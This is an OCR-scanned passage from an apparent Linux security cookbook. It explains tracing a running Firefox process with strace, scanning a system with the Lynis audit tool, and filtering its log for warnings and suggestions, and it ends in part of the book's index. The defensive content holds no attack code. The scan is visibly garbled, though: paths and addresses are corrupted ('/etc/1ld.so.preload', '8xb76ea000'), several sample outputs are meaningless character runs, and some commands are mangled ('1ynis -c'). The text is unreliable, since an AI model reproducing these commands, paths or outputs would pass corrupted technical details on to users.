mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 8) = Oxb76
faoee

access("/etc/1ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open(" /etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3

fstat64(3, {st_mode=S_IFREG|0644, st_size=62788, ...}) = 0

mmap2(NULL, 62788, PROT_READ, MAP_PRIVATE, 3, 0) = 8xb76ea000

close(3) =0

4 If we want to use strace in any process that is currently running, we can do
% so using the ID of the process. In our example, we are using the process of
i firefox, whose process ID is 16301.

8. We run the following command and also save the output of the command in the
firefox output.txt file usingthe -o option

root@tj-dev:~# strace -p 16301 -o firefox_output.txt

Process 16301 attached - interrupt to quit
Process 16301 detached

9. We can then check the content of the output file using the tail command or any text
editor of our choice.

When the strace command is used on any other Linux command or program, it traces its
interaction with the Linux kernel.

When the -c option is used with strace, we get a statistical summary, and if the -t option
is used, we get time stamp preceding each output line.

Using the -e option, we see only a specific call of program execution, such as open system
calls. Using the -o option, we write the output of the strace command to a file.
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Monitoring log files on Linux manually is a very tedious task. To make it easy, we can use
auditing tools on our Linux system, which will be able to automatically scan the whole system
for any kind of security issues.

Lynis is easy to use and we can get a security report in a faster duration of time. This is
helpful when scanning Linux systems for vulnerabilities and malwares.

Getting ready

To use Lynis, it's not necessary to install it. If you are using an Ubuntu system, you can use
apt-get to install the Lynis package:

apt-get install lynis

When the preceding command is run, we get the following output:

For other Linux distributions, simply download the package from https://cisofy.com/
download/lynis/.

After downloading it, you just need to use . /lynis audit systemand the scan will start.
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How to do it...

Using Lynis is very simple. Just start the scanning process and everything will be done
automatically. Let's explore the working of the tool now:

1. To start the scan, just type this command:

lynis -c
When the preceding command is run, we get the following output:

~# lynis -c

[ Lynis 2,1.1 1]

R R R R R B R R R R

[ DONE ]

Kali Linux Rolling

2. Once we run the preceding command, scanning will start and it will continue for some
time, depending on the packages it finds on the system. The scan includes different
sections, such as system tools, kernel, filesystem, and many more.

3. Once the scan has been completed, we can see an overview of the details at the end
of the output screen:

security scan details:
1 56 [ ##SHEHRIHY
1 201
1
overview:
vall [X] - Malware scanner [V]

Modules
is

. fvar/log/lynis. log
: /var/log/lynis-report.dat
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4. After the scanning is done, a report is generated and saved in the /var/log/
lynis. log file. When we read the content of this file, we get an output similar to
what is shown here:

:42]

n

L

= S S S b S s S s e S S e S e
OO 0O 0O CO 00 CO 0000 COOCD 0D COCOCOCoCo 0D 0000

Ln

5.  We can scroll through the log file and see which tests Lynis has performed.

In the preceding report, what needs our attention are the entries containing the word
Warning. Hence we can run the given command to find all the lines in the report that
contain this word:

grep Warning /var/log/lynis.log

When the preceding command is run, we get the following output:

7. As we have done for Warning, in the same way, we can find all the lists of all the
Suggestion given by Lynis using this command:

grep Suggestion /var/log/lynis.log
When the preceding command is run, we get the following output:
ilter found or configured

lter to filter incoming a$
ax for this item: 5), curr$

253



Security Monitoring and Logging

8. We can also check Warning and Suggestion by scrolling to the end of the report in
the /var/log/lynis.log file. We will see a result similar to what is shown here:

-[ Lynis 2.1.1 Results ] -

ns [CUST
fyour oL Nt ro
pam-usb tc ; ; ent on for PAM se

The Lynis scan can be started by executing the 1ynis -c command. Nothing needs to be
done while the scan is running.

After the completion of the scan, the report is saved in the /var/log/lynis. log file.

We find some lines in the report that contain the word Warning and Suggestion as these
are lines that need our attention according to the requirements of Lynis.
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access control list (ACL)

implementing 50-54
acct

reference link 78

used, for monitoring user activity 78-81
Adepto tool 197

bandwidthd 194
bash vulnerability, through Shellshock
exploring 203-206

C

Certificate Signing Request (CSR) 156
Change Mode (chmod) command
used, for changing file permissions 46-48
Channel Connection (SSH) 4
checksum
used, for conducting integrity checks
of installation medium 5-7

D

Denial of Service (DoS) 127
Destination Unreachable ICMP
packets 131
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Toolkit (DEFT)
about 185
download link 185
using 185-191

Index
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disengage Network Manager 120

eavesdropping
about 19
Denial of Service (DoS) attack 19
service vulnerabilities 19
EcholCMP packets 134
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copying remotely 102-106
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file permissions
changing, with Change Mode (chmod)
command 46-49
firewall
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G

Git tool 23
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about 7

reference link 7
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about 196
reference link 196
using 196-201
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integrity checks, of installation medium
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Intrusion Detection System (IDS) 160
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about 121
used, for configuring firewall 121-126
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download link 173
Kali Linux
about 173
using 174-179
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setting up, Ubuntu used 107-115
kernel
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building 25-31
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debugging 34
installing 31-34
testing 34
using, requisites 22
kernel source
about 23
retrieving 23-25
key-based authentication, into SSH
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Lightweight Directory Access Protocol (LDAP)

server
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installing, on Ubuntu 60-69
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patches, applying on 218
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kernel download, URL 26
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Linux Unified Key Setup (LUKS) disk
encryption
about 7
functionalities 7
using 8, 9
List Open Files. See Isof command
Logcheck
about 223
used, for managing log files 223-226
used, for viewing log files 223-226
log files
managing, Logcheck used 223-226
viewing, Logcheck used 223-226
login authentication
PAM, using 82-87
USB device, using 82-87
login capabilities, of users
limiting 75-77
logs
monitoring, with MultiTail 234-237
Is command
used, for viewing directory details 43-45
used, for viewing file details 43-45
Isof command
about 244
using 244-247
Lubuntu 185
Lynis
about 251
download link 251
using 251-254




Metasploitable

about 15

reference link 15
move (mv) command

used, for file handling 54-59
MultiTail

used, for monitoring Logs 234-237

Netcat
URL 40
Netconsole
used, for console configuration for
debugging 34-40
network
monitoring, Nmap used 227-231
network mapper (Nmap)
installation link 12
reference link 15
used, for monitoring network 227-231
used, for scanning hosts 12-15
Network Security Toolkit (NST)
about 192
reference link 192
using 192-195

0

Octal representation 49
OpenSSH 91
OpenSSL Server

about 154

using 155-160

P

password protection
change policy 3
configuring 2, 3
creation policy 2
policy, steps 3
patches
applying, on Linux system 218-221
patch management system 212-218
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about 179
download link 179
using 180-185
Pluggable Authentication Modules (PAM)
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about 144
usage, implementing 144-149

remote access

restricting, with key-based authentication into

SSH 99-101
remote server/host access
gaining, SSH used 91-95
root account 130

S

Secure File Transfer Protocol (SFTP) 107
Secure Shell. See SSH
Secure Sockets Layer (SSL) 154
security controls 5
security issues, Shellshock

exploiting, through SSH 207-212
security policy, Linux

about 2

developing 2
server security

configuration policy 4

configuring 3-5

general policy 4

monitoring policy 4, 5
Set Group ID up on execution (SGID) 141
Set owner User ID (SUID) 141
Shorewall

about 167

using 167-171

working 171
Software Development Cycle (SDC) 34
spoofed addresses

blocking 127-130
Squid proxy

about 150

configuring 150-154
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SSH root login

disabling 95-98

enabling 95-98
stat command

using 241-244
strace

about 247

using 247-250
sudo access

configuring 9-12
sudoers

using 9-11

vulnerability assessment 12
sXid

about 141

using 141-143
system monitoring

glance, using 231-234
system tools
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Whowatch, using 237
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TCP/IP network
managing 117-121
TCP wrapper
configuring 135-139
using 135-139
Time Exceeded packets 134
Transport Layer Security(TLS) 154
Tripwire
about 160
configuring 161-166
installing 161-166
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Ubuntu
installation link 60
LDAP server, configuring 60-69
LDAP server, installing 60-69
used, for setting up Kerberos server 107-115
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USB boot media
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